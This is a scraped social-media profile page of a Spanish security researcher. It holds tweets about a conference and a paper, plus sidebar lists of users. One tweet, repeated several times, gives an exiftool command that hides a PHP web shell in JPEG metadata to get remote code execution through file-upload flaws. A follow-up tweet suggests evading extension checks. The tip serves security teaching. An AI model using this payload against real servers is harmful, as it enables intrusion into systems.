![_DaniSec_'s tweet photo. RCE mediante vulnerabilidad del tipo File upload haciendo uso de un JPEG polyglot, almacenando la carga en los metadatos del fichero:
exiftool -Comment="<?php echo 'I- ' . system(\$_GET['command']) . ' -F'; ?>" <IMAGE>.jpg -o <EXPLOIT>.php
#CyberSecurity #infosec #redteam https://t.co/psl7L0tXbF](https://pbs.twimg.com/media/FmOBmuUX0AIJtEa.png)
![_DaniSec_'s tweet photo. RCE mediante vulnerabilidad del tipo File upload haciendo uso de un JPEG polyglot, almacenando la carga en los metadatos del fichero:
exiftool -Comment="<?php echo 'I- ' . system(\$_GET['command']) . ' -F'; ?>" <IMAGE>.jpg -o <EXPLOIT>.php
#CyberSecurity #infosec #redteam https://t.co/psl7L0tXbF](https://pbs.twimg.com/media/FmOBl4QWQAU4TXh.jpg)
Olivia
Online
DΛПI🕷️
@_DaniSec_
Sevilla, España
Joined June 2020
176 Following
26 Followers
73 Posts
Pinned Tweet
Solo conozco tres tipos de personas, los que hacen que las cosas pasen, los que miran como pasan y los que preguntan qué pasó.🚀
@5mukx Nice!! Do you have any resources to create something similar but for Linux environments? 🙄
📢 Ya disponible la web de #JNIC2024 con toda información del Call for Paper, la sede, y comités. #JNIC2024 se celebrará en la @etsii @unisevilla, en colaboración con @INCIBE, y más patrocinadores.
📷Toda la información: https://t.co/bIKvgLXYER
You have a project with dependencies and you want to analyse vulnerabilities. This is our paper on the subject that can help you to address your problem using techniques used in configurability! https://t.co/jqxvDy3Pf6
@etsii @unisevilla Enhorabuena a todos, especialmente a @a_j_varela por su dedicación y profesionalidad siempre. Un grande se une a este equipo!!
Fichero de salida con extensión PHP generado a partir de una imagen JPEG. En caso de validación de extensiones por parte del servidor se podría probar mecanismo de ofuscación en el propio nombre a la hora de subir el fichero.
RCE mediante vulnerabilidad del tipo File upload haciendo uso de un JPEG polyglot, almacenando la carga en los metadatos del fichero:
exiftool -Comment="<?php echo 'I- ' . system(\$_GET['command']) . ' -F'; ?>" <IMAGE>.jpg -o <EXPLOIT>.php
#CyberSecurity #infosec #redteam
![_DaniSec_'s tweet photo. RCE mediante vulnerabilidad del tipo File upload haciendo uso de un JPEG polyglot, almacenando la carga en los metadatos del fichero:
exiftool -Comment="<?php echo 'I- ' . system(\$_GET['command']) . ' -F'; ?>" <IMAGE>.jpg -o <EXPLOIT>.php
#CyberSecurity #infosec #redteam https://t.co/psl7L0tXbF](https://pbs.twimg.com/media/FmOBn9XX0BQZGUg.png)
Last Seen Users on Sotwe
JJ小鱼干
Seen from United States
batman hakan
Seen from Turkey
xxxssxxx
Seen from Turkey
Selim inik 55
Seen from Turkey
Angel Rivera
Seen from United States
hentai_urethra
Seen from Korea
gavat koca
Seen from Germany
Carlos Sánchez Castillo
Seen from France
عاشق نيك الطيز 60K 
Seen from Oman
Valentin magallanes 🇦🇷
Seen from Guatemala
Trends for you
Most Popular Users
Elon Musk
@elonmusk
241M followers
Barack Obama
@barackobama
119.2M followers
Cristiano Ronaldo
@cristiano
112.2M followers
Donald J. Trump
@realdonaldtrump
111.8M followers
Narendra Modi
@narendramodi
107.1M followers
Rihanna
@rihanna
98.1M followers
NASA
@nasa
92.2M followers
Justin Bieber
@justinbieber
91.3M followers
KATY PERRY
@katyperry
88.6M followers
Taylor Swift
@taylorswift13
82.5M followers
Lady Gaga
@ladygaga
74M followers
Virat Kohli
@imvkohli
71.3M followers
Kim Kardashian
@kimkardashian
70.2M followers
YouTube
@youtube
68.7M followers
Bill Gates
@billgates
64.4M followers
Neymar Jr
@neymarjr
64.2M followers
The Ellen Show
@theellenshow
62.4M followers
CNN
@cnn
61.8M followers
Selena Gomez
@selenagomez
61.6M followers
X
@x
60.8M followers